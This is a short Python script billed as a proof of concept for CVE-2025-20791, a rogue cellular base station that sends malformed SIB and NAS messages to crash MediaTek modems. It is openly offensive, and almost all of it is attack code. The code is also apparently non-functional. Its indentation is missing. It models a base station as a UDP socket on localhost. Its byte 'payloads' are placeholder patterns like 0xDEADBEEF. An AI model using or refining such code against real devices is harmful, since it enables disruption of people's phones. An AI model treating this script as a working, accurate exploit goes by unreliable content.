#!/usr/bin/env python3
# CVE-2025-20791 PoC - Rogue Base Station Attack
# This PoC simulates a rogue base station that sends malformed
# messages to trigger the modem error handling vulnerability
import socket
import struct
import time
class RogueBaseStation:
def __init__(self, pci=1, tac=256, earfcn=100):
self.pci = pci # Physical Cell ID
self.tac = tac # Tracking Area Code
self.earfcn = earfcn # E-UTRA Absolute Radio Frequency Channel Number
def send_malformed_sib(self, sock, client_addr):
# System Information Block (SIB) with malformed data
# This triggers incorrect error handling in MediaTek modem
sib_data = bytes([
0x00, 0x01, 0x02, 0x03, # SIB header
0xFF, 0xFF, 0xFF, 0xFF, # Malformed scheduling info
0x00, 0x00, 0x00, 0x00,
0xAB, 0xCD, 0xEF, 0x00 # Invalid value causing error handling bug
])
sock.sendto(sib_data, client_addr)
def send_crash_trigger(self, sock, client_addr):
# Send specially crafted NAS message to trigger crash
nas_message = bytes([
0x02, 0x00, 0x00, 0x00, # NAS header - Service Request
0x00, 0x00, 0x00, 0x00, # Sequence number
0xFF, 0xFF, 0xFF, 0xFF, # Invalid KSI
0x00, 0x01, 0x02, 0x03, # Trigger sequence
0xDE, 0xAD, 0xBE, 0xEF, # Crash trigger pattern
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
])
sock.sendto(nas_message, client_addr)
def start_attack(self, target_ip='127.0.0.1', target_port=38412):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', target_port))
print(f'[*] Rogue Base Station started')
print(f'[*] PCI: {self.pci}, TAC: {self.tac}, EARFCN: {self.earfcn}')
print(f'[*] Listening on {target_ip}:{target_port}')
while True:
try:
data, addr = sock.recvfrom(4096)
print(f'[*] Received connection from {addr}')
# Send malicious SIB
self.send_malformed_sib(sock, addr)
time.sleep(0.5)
# Send crash trigger
self.send_crash_trigger(sock, addr)
print(f'[+] Malicious messages sent to {addr}')
except KeyboardInterrupt:
print('\n[*] Attack stopped')
break
except Exception as e:
print(f'[-] Error: {e}')
sock.close()
if __name__ == '__main__':
attacker = RogueBaseStation()
attacker.start_attack()